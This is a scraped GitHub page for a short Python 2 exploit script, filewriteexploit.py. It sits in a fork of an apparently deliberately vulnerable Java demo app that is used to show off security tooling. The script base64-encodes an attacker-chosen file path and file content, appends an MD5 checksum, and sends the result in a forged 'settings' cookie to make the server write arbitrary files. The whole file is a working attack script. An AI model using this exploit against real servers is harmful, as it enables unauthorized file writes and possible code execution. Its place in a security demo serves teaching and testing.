FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
shiftleft-java-demo/exploits/filewriteexploit.py at master · testingXor/shiftleft-java-demo · GitHub
testingXor
/
shiftleft-java-demo
Public
forked from
ShiftLeftSecurity/shiftleft-java-demo
Notifications
You must be signed in to change notification settings
Fork
0
Star
0
Code
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
shiftleft-java-demo
/
exploits
/
filewriteexploit.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
18 lines (14 loc) · 461 Bytes
Breadcrumbs
shiftleft-java-demo
/
exploits
/
filewriteexploit.py
Copy path
File metadata and controls
18 lines (14 loc) · 461 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import
base64
,
md5
,
sys
,
urllib
import
urllib2
if
len
(
sys
.
argv
)
!=
4
:
print
"python2 exploit.py url (relative)filepath contentline1,contentline2"
url
=
sys
.
argv
[
1
]
filepath
=
sys
.
argv
[
2
]
content
=
sys
.
argv
[
3
]
payload
=
base64
.
b64encode
(
filepath
+
","
+
content
)
payloadhex
=
md5
.
md5
(
payload
).
hexdigest
()
print
url
opener
=
urllib2
.
build_opener
()
opener
.
addheaders
.
append
((
'Cookie'
,
'settings='
+
payload
+
","
+
payloadhex
))
f
=
opener
.
open
(
url
)
print
f
.
read
()
Back
|
FazBrowse Home
|
New Git URL